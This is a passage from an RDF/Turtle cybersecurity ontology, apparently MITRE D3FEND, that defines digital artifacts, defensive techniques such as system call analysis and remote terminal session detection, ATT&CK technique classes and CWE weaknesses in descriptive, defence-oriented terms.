    d3f:definition "An information-bearing artifact (object) that is, or is encoded to be used with, a digital computer system. This concept is broad to include the literal instances of an artifact, or an implicit summarization of changes to or properties of other artifacts." ;
    d3f:display-baseurl "/dao/artifact/" ;
    d3f:synonym "Digital Asset" ;
    rdfs:seeAlso <http://dbpedia.org/resource/Digital_artifactual_value>,
        <http://dbpedia.org/resource/Virtual_artifact>,
        <https://www.iso.org/obp/ui/#iso:std:iso-iec:19770:-1:ed-3:v1:en> ;
    rdfs:subClassOf d3f:Artifact .

d3f:DomainName a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Domain Name" ;
    d3f:definition "A domain name is an identification string that defines a realm of administrative autonomy, authority or control within the Internet. Domain names are formed by the rules and procedures of the Domain Name System (DNS). Any name registered in the DNS is a domain name.Domain names are used in various networking contexts and application-specific naming and addressing purposes. In general, a domain name represents an Internet Protocol (IP) resource, such as a personal computer used to access the Internet, a server computer hosting a web site, or the web site itself or any other service communicated via the Internet. In 2015, 294 million domain names had been registered." ;
    d3f:identifies d3f:IPAddress ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:identifies ;
            owl:someValuesFrom d3f:IPAddress ],
        d3f:Identifier .

d3f:EventLogEvent a owl:Class ;
    rdfs:label "Event Log Event" ;
    d3f:definition "An event that captures actions or operations related to the management of system event logs, including modifications, access, and service state changes." ;
    rdfs:seeAlso <https://schema.ocsf.io/1.3.0/classes/event_log> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:EventLog ],
        d3f:DigitalEvent .

d3f:HardwareDriver a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Hardware Driver" ;
    d3f:definition "In computing, a device driver (commonly referred to simply as a driver) is a computer program that operates or controls a particular type of device that is attached to a computer. A driver provides a software interface to hardware devices, enabling operating systems and other computer programs to access hardware functions without needing to know precise details of the hardware being used. A driver communicates with the device through the computer bus or communications subsystem to which the hardware connects. When a calling program invokes a routine in the driver, the driver issues commands to the device. Once the device sends data back to the driver, the driver may invoke routines in the original calling program. Drivers are hardware dependent and operating-system-specific. They usually provide the interrupt handling required for any necessary asynchronous time-dependent hardware interface." ;
    d3f:drives d3f:HardwareDevice ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Device_driver> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:drives ;
            owl:someValuesFrom d3f:HardwareDevice ],
        d3f:DigitalInformationBearer ;
    skos:altLabel "Device Driver" .

d3f:JobSchedule a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Job Schedule" ;
    d3f:contains d3f:ScheduledJob ;
    d3f:definition "A job schedule contains specification of tasks to be executed at particular times or time intervals.  The schedule is a plan that enacted by a task scheduling process. In Windows, the schedule can be accessed at 'C:\\Windows\\System32\\Tasks' or in the registry. In Linux, the schedule is located at '/etc/crontab'" ;
    d3f:modified-by d3f:JobSchedulerSoftware ;
    d3f:synonym "Task Schedule" ;
    rdfs:seeAlso <http://dbpedia.org/resource/Cron>,
        <http://dbpedia.org/resource/Windows_Task_Scheduler> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:ScheduledJob ],
        [ a owl:Restriction ;
            owl:onProperty d3f:modified-by ;
            owl:someValuesFrom d3f:JobSchedulerSoftware ],
        d3f:DigitalInformation .

d3f:OSAPICreateFile a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "OS API Create File" ;
    d3f:definition "An OS API function that creates a file." ;
    d3f:invokes d3f:CreateFile ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:CreateFile ],
        d3f:OSAPISystemFunction .

d3f:OTProtocolMessage a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "OT Protocol Message" ;
    d3f:definition "Packets generated by an operational technology protocol contain an OT protocol message." ;
    rdfs:subClassOf d3f:DigitalMessage .

d3f:One-timePassword a d3f:One-timePassword,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "One-time Password" ;
    d3f:d3fend-id "D3-OTP" ;
    d3f:definition "A one-time password is valid for only one user authentication." ;
    d3f:kb-article """## How it works

When a user initiates authentication, they are asked for a one-time password, often in addition to other credentials such as a traditional password or smart card. The one-time password may be from a list provided in advance, sent via a channel such as SMS or HTTPS to an app, or a generated token.

In the case of a physical token which generates one-time passwords incrementally based on time elapsed, that token device need not be connected to the internet. In different implementations, an administrator of the system, or a user with additional verification, can adjust for clock skew between the token and the verification system as needed.

## Considerations

### Compromise of delivery channel
- SIM Swapping
- Secure token visual compromise
- Insecure delivery channel

### Compromise of delivery device
Physical loss of One-time Password device.

### Compromise of long-term backup codes
These are often provided in the form of a downloadable document with a regular name, which can be searched for in the case that the user forgets where they put them.  This digital file or printed document could be stolen.
Additionally, after the code file is printed, it could be recovered from the system printer spool unless the spooler cache is cleared.""" ;
    d3f:kb-reference d3f:Reference-DigitalIdentityGuidelines800-63-3,
        d3f:Reference-RFC2289-AOne-TimePasswordSystem ;
    d3f:synonym "OTP" ;
    d3f:use-limits d3f:Password ;
    rdfs:seeAlso <http://dbpedia.org/resource/One-time_password> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:use-limits ;
            owl:someValuesFrom d3f:Password ],
        d3f:PasswordRotation .

d3f:PointerDereferencingFunction a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Pointer Dereferencing Function" ;
    d3f:addresses d3f:MemoryBlock,
        d3f:Pointer ;
    d3f:definition "A function which has an operation which dereferences a pointer." ;
    rdfs:comment "Note, this is not the actual code which performs the dereferencing operation internal to an application runtime." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:addresses ;
            owl:someValuesFrom d3f:Pointer ],
        [ a owl:Restriction ;
            owl:onProperty d3f:addresses ;
            owl:someValuesFrom d3f:MemoryBlock ],
        d3f:Subroutine .

d3f:ReconnaissanceTechnique a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Reconnaissance Technique" ;
    d3f:definition "The adversary is trying to gather information they can use to plan future operations." ;
    d3f:enables d3f:TA0043 ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:TA0043 ],
        d3f:ATTACKEnterpriseTechnique,
        d3f:OffensiveTechnique .

d3f:SPARTAExfiltrationTechnique a owl:Class ;
    rdfs:label "Exfiltration Technique - SPARTA" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:ST0008 ],
        d3f:SPARTATechnique ;
    skos:prefLabel "Exfiltration Technique" .

d3f:SecondaryStorage a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Secondary Storage" ;
    d3f:definition "Secondary memory (storage, hard disk) is the computer component holding information that does not need to be accessed quickly and that needs to be retained long-term." ;
    rdfs:isDefinedBy <https://whatis.techtarget.com/definition/memory> ;
    rdfs:seeAlso <https://en.wikipedia.org/wiki/Computer_data_storage#Secondary_storage> ;
    rdfs:subClassOf d3f:HardwareDevice,
        d3f:Storage .

d3f:ServiceApplicationProcess a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Service Application Process" ;
    d3f:definition "A Service Application Process performs specific tasks or provides functionality to support other processes, applications, or users." ;
    rdfs:subClassOf d3f:ApplicationProcess .

d3f:Storage a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Storage" ;
    d3f:definition "Computer data storage, often called storage or memory, is a technology consisting of computer components and recording media used to retain digital data. It is a core function and fundamental component of computers. In the Von Neumann architecture, the CPU consists of two main parts: The control unit and the arithmetic / logic unit (ALU). The former controls the flow of data between the CPU and memory, while the latter performs arithmetic and logical operations on data." ;
    d3f:may-contain d3f:FileSystem ;
    d3f:synonym "Computer data storage",
        "Memory" ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Computer_data_storage> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-contain ;
            owl:someValuesFrom d3f:FileSystem ],
        d3f:DigitalInformationBearer .

d3f:SystemCallAnalysis a d3f:SystemCallAnalysis,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "System Call Analysis" ;
    d3f:analyzes d3f:SystemCall ;
    d3f:d3fend-id "D3-SCA" ;
    d3f:definition "Analyzing system calls to determine whether a process is exhibiting unauthorized behavior." ;
    d3f:kb-article """## How it works

System calls are APIs between a user application and the operating system [1].

By analyzing a process's use of these APIs, it is, in some cases, possible to ascertain whether a program is exhibiting unauthorized behavior, including trying to escalate its privileges.

### Gathering System Calls
A common method to capture system calls is to use kernel APIs to hook [2] a process's system call invocations.

The Linux system call `ptrace` tracks other system calls in a process and allows their alteration; this is made use of by GDB.  `strace` utilizes `ptrace` and will print to stdout each system call invoked. Other applications record this data in local or remote databases.

The log entry for each system call, which may reference additional information such as the date and time, and the process tree for the process which made the system call, is relayed, in real time or post-facto, to an analysis module which consults a catalog or model to determine whether the distribution matches a known-good or known-bad pattern.


### Analysis

System calls are analyzed with a variety of methods. Some analytics look for specific sequences of instructions, others may apply statistical methods to identify abnormal behavior. Sequences of instructions can be abstracted into conceptually higher order user activities, for example:

* An attacker executes many system calls in a short period of time, with several sequences which could be used to escalate privileges.
* Getting the contents from a URL, writing to a new file, and then executing the same file.
* A ransomware program which either uses a loop or creates many threads to: read a specified file, encrypt its contents, create an output file with a similar name to the original file, and delete the unencrypted original.

## Considerations

* Duplicative or extraneous system calls may be added to malware to defeat analytics.
* Malware could replace API hooking instructions to allow system calls to be made without being monitored.
* A model built from a training set of system calls and related data may not be updated fast enough to detect new threats.


[1] [Syscalls](http://man7.org/linux/man-pages/man2/syscalls.2.html)

[2] [Hooking](http://dbpedia.org/resource/Hooking)""" ;
    d3f:kb-reference d3f:Reference-CAR-2020-05-001%3AMiniDumpOfLSASS_MITRE,
        d3f:Reference-CAR-2021-05-011%3ACreateRemoteThreadIntoLSASS_MITRE,
        d3f:Reference-CredentialDumpingViaWindowsTaskManager_MITRE,
        d3f:Reference-DLLInjectionViaLoadLibrary_MITRE,
        d3f:Reference-DeterministicMethodForDetectingAndBlockingOfExploitsOnInterpretedCode_K2CyberSecurityInc,
        d3f:Reference-Hardware-assistedSystemAndMethodForDetectingAndAnalyzingSystemCallsMadeToAnOpertingSystemKernel_EndgameInc,
        d3f:Reference-MalwareDetectionInEventLoops_CrowdstrikeInc,
        d3f:Reference-PostSandboxMethodsAndSystemsForDetectingAndBlockingZero-dayExploitsViaApiCallValidation_K2CyberSecurityInc ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:analyzes ;
            owl:someValuesFrom d3f:SystemCall ],
        d3f:ProcessAnalysis .

d3f:T1070 a owl:Class ;
    rdfs:label "Indicator Removal" ;
    d3f:attack-id "T1070" ;
    d3f:definition "Adversaries may delete or modify artifacts generated within systems to remove evidence of their presence or hinder defenses. Various artifacts may be created by an adversary or something that can be attributed to an adversary’s actions. Typically these artifacts are used as defensive indicators related to monitored events, such as strings from downloaded files, logs that are generated from user actions, and other data analyzed by defenders. Location, format, and type of artifact (such as command or login history) are often specific to each platform." ;
    rdfs:subClassOf d3f:DefenseEvasionTechnique .

d3f:d3fend-annotation a owl:AnnotationProperty ;
    rdfs:label "d3fend-annotation" ;
    d3f:definition "x d3fend-annotation y: The d3fend object x has the annotation y." .

d3f:loads a owl:ObjectProperty ;
    rdfs:label "loads" ;
    d3f:definition "x loads y: The technique or process x transfers a software from a storage y to a computer's memory for subsequent execution." ;
    rdfs:isDefinedBy <http://wordnet-rdf.princeton.edu/id/02236692-v> ;
    rdfs:subPropertyOf d3f:associated-with .

d3f:ApplicationHardening a d3f:ApplicationHardening,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Application Hardening" ;
    d3f:d3fend-id "D3-AH" ;
    d3f:definition "Application Hardening makes an executable application more resilient to a class of exploits which either introduce new code or execute unwanted existing code. These techniques may be applied at compile-time or on an application binary." ;
    d3f:enables d3f:Harden ;
    d3f:kb-article """## Technique Overview

Exploits may, for example, rely on knowledge of addresses in a process's memory, they may alter memory contents, and they may cause a program to use instructions in a way that they were not intended.  By, for example, including code that dynamically changes the memory address of data or code on each run, introducing logic to validating the memory contents before certain potentially dangerous flows are executed, or monitoring a program for unusual sequence of instructions, this makes it harder for an attacker to craft a working exploit.""" ;
    d3f:synonym "Process Hardening" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:Harden ],
        d3f:DefensiveTechnique .

d3f:CWE-657 a owl:Class ;
    rdfs:label "Violation of Secure Design Principles" ;
    d3f:cwe-id "CWE-657" ;
    d3f:definition "The product violates well-established principles for secure design." ;
    rdfs:subClassOf d3f:CWE-710 .

d3f:CWE-665 a owl:Class ;
    rdfs:label "Improper Initialization" ;
    d3f:cwe-id "CWE-665" ;
    d3f:definition "The product does not initialize or incorrectly initializes a resource, which might leave the resource in an unexpected state when it is accessed or used." ;
    rdfs:subClassOf d3f:CWE-664 .

d3f:CWE-667 a owl:Class ;
    rdfs:label "Improper Locking" ;
    d3f:cwe-id "CWE-667" ;
    d3f:definition "The product does not properly acquire or release a lock on a resource, leading to unexpected resource state changes and behaviors." ;
    rdfs:subClassOf d3f:CWE-662 .

d3f:CWE-682 a owl:Class ;
    rdfs:label "Incorrect Calculation" ;
    d3f:cwe-id "CWE-682" ;
    d3f:definition "The product performs a calculation that generates incorrect or unintended results that are later used in security-critical decisions or resource management." ;
    rdfs:subClassOf d3f:Weakness .

d3f:CWE-707 a owl:Class ;
    rdfs:label "Improper Neutralization" ;
    d3f:cwe-id "CWE-707" ;
    d3f:definition "The product does not ensure or incorrectly ensures that structured messages or data are well-formed and that certain security properties are met before being read from an upstream component or sent to a downstream component." ;
    rdfs:subClassOf d3f:Weakness .

d3f:ExecutionIsolation a d3f:ExecutionIsolation,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Execution Isolation" ;
    d3f:d3fend-id "D3-EI" ;
    d3f:definition "Execution Isolation techniques prevent application processes from accessing non-essential system resources, such as memory, devices, or files." ;
    d3f:enables d3f:Isolate ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:Isolate ],
        d3f:DefensiveTechnique .

d3f:ExfiltrationTechnique a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Exfiltration Technique" ;
    d3f:definition "The adversary is trying to steal data." ;
    d3f:enables d3f:TA0010 ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:TA0010 ],
        d3f:ATTACKEnterpriseTechnique,
        d3f:OffensiveTechnique .

d3f:GetSystemConfigValue a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Get System Config Value" ;
    d3f:reads d3f:SystemConfigurationDatabaseRecord ;
    rdfs:seeAlso <https://docs.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regopenkeyexa> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:reads ;
            owl:someValuesFrom d3f:SystemConfigurationDatabaseRecord ],
        d3f:SystemConfigSystemCall .

d3f:InputDevice a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Input Device" ;
    d3f:definition "In computing, an input device is a piece of equipment used to provide data and control signals to an information processing system such as a computer or information appliance. Examples of input devices include keyboards, mouse, scanners, digital cameras, joysticks, and microphones." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Input_device> ;
    rdfs:subClassOf d3f:HardwareDevice,
        d3f:LocalResource .

d3f:KernelModule a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Kernel Module" ;
    d3f:definition """A loadable kernel module (LKM) is an object file that contains code to extend the running kernel, or so-called base kernel, of an operating system. LKMs are typically used to add support for new hardware (as device drivers) and/or filesystems, or for adding system calls. When the functionality provided by a LKM is no longer required, it can be unloaded in order to free memory and other resources.

Most current Unix-like systems and Microsoft Windows support loadable kernel modules, although they might use a different name for them, such as kernel loadable module (kld) in FreeBSD, kernel extension (kext) in macOS,[1] kernel extension module in AIX, kernel-mode driver in Windows NT[2] and downloadable kernel module (DKM) in VxWorks. They are also known as kernel loadable modules (or KLM), and simply as kernel modules (KMOD).""" ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Loadable_kernel_module> ;
    rdfs:seeAlso <https://schema.ocsf.io/objects/kernel_driver> ;
    rdfs:subClassOf d3f:ObjectFile ;
    skos:altLabel "LKM",
        "Loadable Kernel Module" .

d3f:NetworkNode a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Network Node" ;
    d3f:definition "In telecommunications networks, a node (Latin nodus, 'knot') is either a redistribution point or a communication endpoint. The definition of a node depends on the network and protocol layer referred to. A physical network node is an electronic device that is attached to a network, and is capable of creating, receiving, or transmitting information over a communications channel. A passive distribution point such as a distribution frame or patch panel is consequently not a node." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Node_(networking)> ;
    rdfs:subClassOf d3f:DigitalInformationBearer .

d3f:OutboundInternetWebTraffic a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Outbound Internet Web Traffic" ;
    d3f:definition "Outbound internet web traffic is network traffic that is: (a) on an outgoing connection initiated from a host within a network to a host outside the network, and (b) using a standard web protocol." ;
    d3f:may-contain d3f:URL ;
    rdfs:seeAlso <http://dbpedia.org/resource/Internetworking> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-contain ;
            owl:someValuesFrom d3f:URL ],
        d3f:OutboundInternetNetworkTraffic,
        d3f:WebNetworkTraffic .

d3f:PhysicalArtifact a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Physical Artifact" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-location ;
            owl:someValuesFrom d3f:PhysicalLocation ],
        d3f:Artifact ;
    skos:altLabel "Physical Object" .

d3f:RemoteTerminalSessionDetection a d3f:RemoteTerminalSessionDetection,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Remote Terminal Session Detection" ;
    d3f:analyzes d3f:NetworkTraffic ;
    d3f:d3fend-id "D3-RTSD" ;
    d3f:definition "Detection of an unauthorized remote live terminal console session by examining network traffic to a network host." ;
    d3f:kb-article """## How it works
An external attacker takes remote control of a host inside a company or organization's network and manually directs offensive techniques. Nonstandard terminal sessions and abnormal behaviors are analyzed in this technique. Abnormal behavior detection includes analysis of user input patterns in the real-time session, keyboard output and packet inspection.

### Network Traffic Inspection
Network traffic from internal hosts is the main concern and focus for the traffic inspection. The network traffic is collected into inspection groups. The groups of traffic are assembled into distinct pair flows (outbound/inbound) and the pair flows are further divided into sessions. Only sessions originated inside of the network are considered for the inspection. Traffic inspection includes analysis to determine if a human is involved in the session exchanges. Time-based statistics are captured for each session being analyzed by the detection engine.

### Algorithm Analysis Description
Analysis algorithms look for patterns in the network traffic captured from the session data.  A detection engine groups the session traffic data, between the hosts, into rapid exchange instances. Analysis of rapid exchange traffic patterns can lead to the discovery of abnormal behavior which is indicative of a compromised internal host. The analysis algorithms look for patterns in the traffic which correlate to known activity (e.g., relay attacks, bot activity, bitcoin mining). Some metrics used during inspection include the following.

* Number of rapid-exchange instances
* Time interval between packets
* Fixed cadence of traffic
* Rhythm and direction of the initiation of instances
* Volume of data flowing from internal to external controlling host
* Data transfer characteristics
* Variability in length of silent periods

## Considerations
* Full packet capture is required which can be process intensive to analyze
* Attackers that move low and slow may blend in with existing traffic resulting in false negatives""" ;
    d3f:kb-reference d3f:Reference-MethodAndSystemForDetectingExternalControlOfCompromisedHosts_VECTRANETWORKSInc,
        d3f:Reference-RDPConnectionDetection_MITRE,
        d3f:Reference-RemoteDesktopLogon_MITRE ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:analyzes ;
            owl:someValuesFrom d3f:NetworkTraffic ],
        d3f:NetworkTrafficAnalysis .

d3f:RemovableMediaDevice a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Removable Media Device" ;
    d3f:definition "A removable media device is a hardware device used for computer storage and that is designed to be inserted and removed from the system.  It is distinct from other removable media in that all the hardware required to read the data are built into the device.  So USB flash drives and external hard drives are removable media devices, whereas tapes and disks are not, as they require additional hardware to perform read/write operations." ;
    rdfs:seeAlso <http://dbpedia.org/resource/Removable_media> ;
    rdfs:subClassOf d3f:HardwareDevice .

d3f:T1036 a owl:Class ;
    rdfs:label "Masquerading" ;
    d3f:attack-id "T1036" ;
    d3f:definition "Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names." ;
    rdfs:subClassOf d3f:DefenseEvasionTechnique .

d3f:T1562 a owl:Class ;
    rdfs:label "Impair Defenses" ;
    d3f:attack-id "T1562" ;
    d3f:definition "Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. This not only involves impairing preventative defenses, such as firewalls and anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior. This may also span both native defenses as well as supplemental capabilities installed by users and administrators." ;
    rdfs:subClassOf d3f:DefenseEvasionTechnique .

d3f:WindowsRegistryKey a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Windows Registry Key" ;
    d3f:definition "Windows Registry Keys are container objects similar to folders that contain subkeys and/or data entries called values. A key can be a 'Registry Hive' when it is root key of a logical group of keys, subkeys, and values that has a set of supporting files loaded into memory when the operating system is started or a user logs in." ;
    d3f:may-contain d3f:WindowsRegistryKey,
        d3f:WindowsRegistryValue ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Windows_Registry#Keys_and_values>,
        <https://learn.microsoft.com/en-us/windows/win32/sysinfo/structure-of-the-registry> ;
    rdfs:seeAlso <https://learn.microsoft.com/en-us/windows/win32/sysinfo/registry-hives>,
        <https://schema.ocsf.io/objects/registry_key> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-contain ;
            owl:someValuesFrom d3f:WindowsRegistryKey ],
        [ a owl:Restriction ;
            owl:onProperty d3f:windows-registry-key ;
            owl:someValuesFrom xsd:string ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-contain ;
            owl:someValuesFrom d3f:WindowsRegistryValue ],
        d3f:SystemConfigurationDatabaseRecord .

d3f:adds a owl:ObjectProperty ;
    rdfs:label "adds" ;
    d3f:definition "x adds y: The subject x adds a data object y, such as a file, to some other digital artifact, such as a directory. Examples include an agent or technique adding a record to a database. or a domain entry to a DNS server." ;
    rdfs:subPropertyOf d3f:associated-with,
        d3f:may-add .

d3f:deletes a owl:ObjectProperty ;
    rdfs:label "deletes" ;
    d3f:definition "x deletes y: A technique or agent x wipes out the digitally or magnetically recorded information of digital object y." ;
    rdfs:isDefinedBy <http://wordnet-rdf.princeton.edu/id/01001860-v> ;
    rdfs:subPropertyOf d3f:evicts,
        d3f:modifies .

d3f:may-produce a owl:ObjectProperty ;
    rdfs:label "may-produce" ;
    d3f:definition "x may-produce y: They entity x may produce the thing y; that is, 'x produces y' may be true." ;
    rdfs:subPropertyOf d3f:may-be-associated-with .

d3f:precedes a owl:ObjectProperty ;
    rdfs:label "precedes" ;
    d3f:definition "x precedes y: The event or action x occurs before event or action y in time." ;
    rdfs:isDefinedBy <http://purl.obolibrary.org/obo/BFO_0000063> ;
    rdfs:subPropertyOf d3f:associated-with .

d3f:ATLASResourceDevelopmentTechnique a owl:Class ;
    rdfs:label "Resource Development Technique - ATLAS" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:AML.TA0003 ],
        d3f:ATLASTechnique ;
    skos:prefLabel "Resource Development Technique" .

d3f:ATTACKICSExecutionTechnique a owl:Class ;
    rdfs:label "Execution Technique - ATTACK ICS" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:TA0104 ],
        d3f:ATTACKICSTechnique ;
    skos:prefLabel "Execution Technique" .

d3f:ATTACKICSImpactTechnique a owl:Class ;
    rdfs:label "Impact Technique - ATTACK ICS" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:TA0105 ],
        d3f:ATTACKICSTechnique ;
    skos:prefLabel "Impact Technique" .

d3f:ATTACKICSTactic a owl:Class ;
    rdfs:label "ATTACK ICS Tactic" ;
    rdfs:subClassOf d3f:ATTACKICSThing .

d3f:ATTACKICSTechnique a owl:Class ;
    rdfs:label "ATTACK ICS Technique" ;
    rdfs:subClassOf d3f:ATTACKICSThing .

d3f:ATTACKMobileCommandAndControlTechnique a owl:Class ;
    rdfs:label "Command and Control Technique - ATTACK Mobile" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:TA0037 ],
        d3f:ATTACKMobileTechnique ;
    skos:prefLabel "Command and Control Technique" .

d3f:ATTACKMobilePersistenceTechnique a owl:Class ;
    rdfs:label "Persistence Technique - ATTACK Mobile" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:TA0028 ],
        d3f:ATTACKMobileTechnique ;
    skos:prefLabel "Persistence Technique" .

d3f:ATTACKMobileTactic a owl:Class ;
    rdfs:label "ATTACK Mobile Tactic" ;
    rdfs:subClassOf d3f:ATTACKMobileThing .

d3f:ATTACKMobileTechnique a owl:Class ;
    rdfs:label "ATTACK Mobile Technique" ;
    rdfs:subClassOf d3f:ATTACKMobileThing .

d3f:Artifact a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Artifact" ;
    d3f:definition "A man-made object taken as a whole." ;
    rdfs:seeAlso <http://d3fend.mitre.org/ontologies/d3fend.owl>,
        <http://wordnet-rdf.princeton.edu/id/00022119-n> ;
    rdfs:subClassOf d3f:D3FENDCore .

d3f:CWE-1076 a owl:Class ;
    rdfs:label "Insufficient Adherence to Expected Conventions" ;
    d3f:cwe-id "CWE-1076" ;
    d3f:definition "The product's architecture, source code, design, documentation, or other artifact does not follow required conventions." ;
    rdfs:subClassOf d3f:CWE-710 .

d3f:CWE-1078 a owl:Class ;
    rdfs:label "Inappropriate Source Code Style or Formatting" ;
    d3f:cwe-id "CWE-1078" ;
    d3f:definition "The source code does not follow desired style or formatting for indentation, white space, comments, etc." ;
    rdfs:subClassOf d3f:CWE-1076 .

d3f:CWE-119 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Improper Restriction of Operations within the Bounds of a Memory Buffer" ;
    d3f:cwe-id "CWE-119" ;
    d3f:definition "The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data." ;
    d3f:synonym "Buffer Overflow",
        "buffer overrun",
        "memory safety" ;
    d3f:weakness-of d3f:RawMemoryAccessFunction ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:weakness-of ;
            owl:someValuesFrom d3f:RawMemoryAccessFunction ],
        d3f:CWE-118 .

d3f:CWE-200 a owl:Class ;
    rdfs:label "Exposure of Sensitive Information to an Unauthorized Actor" ;
    d3f:cwe-id "CWE-200" ;
    d3f:definition "The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information." ;
    d3f:synonym "Information Disclosure",
        "Information Leak" ;
    rdfs:subClassOf d3f:CWE-668 .

d3f:CWE-23 a owl:Class ;
    rdfs:label "Relative Path Traversal" ;
    d3f:cwe-id "CWE-23" ;
    d3f:definition "The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize sequences such as \"..\" that can resolve to a location that is outside of that directory." ;
    d3f:synonym "Zip Slip" ;
    rdfs:subClassOf d3f:CWE-22 .

d3f:CWE-405 a owl:Class ;
    rdfs:label "Asymmetric Resource Consumption (Amplification)" ;
    d3f:cwe-id "CWE-405" ;
    d3f:definition "The product does not properly control situations in which an adversary can cause the product to consume or produce excessive resources without requiring the adversary to invest equivalent work or otherwise prove authorization, i.e., the adversary's influence is \"asymmetric.\"" ;
    rdfs:subClassOf d3f:CWE-400,
        d3f:CWE-664 .

d3f:CWE-703 a owl:Class ;
    rdfs:label "Improper Check or Handling of Exceptional Conditions" ;
    d3f:cwe-id "CWE-703" ;
    d3f:definition "The product does not properly anticipate or handle exceptional conditions that rarely occur during normal operation of the product." ;
    rdfs:subClassOf d3f:Weakness .

d3f:DE-0003 a owl:Class ;
    rdfs:label "On-Board Values Obfuscation - SPARTA" ;
    d3f:attack-id "DE-0003" ;
    d3f:definition "Threat actors may target various onboard values put in place to prevent malicious or poorly crafted commands from being processed. These onboard values include the vehicle command counter, rejected command counter, telemetry downlink modes, cryptographic modes, and system clock." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/DE-0003/> ;
    rdfs:subClassOf d3f:SPARTADefenseEvasionTechnique ;
    skos:prefLabel "On-Board Values Obfuscation" .

d3f:Directory a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Directory" ;
    d3f:definition "In computing, a directory is a file system cataloging structure which contains references to other computer files, and possibly other directories. On many computers, directories are known as folders, or drawers to provide some relevancy to a workbench or the traditional office file cabinet." ;
    d3f:may-contain d3f:File ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Directory_(computing)> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-contain ;
            owl:someValuesFrom d3f:File ],
        d3f:DigitalInformationBearer .

d3f:DomainUserAccount a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Domain User Account" ;
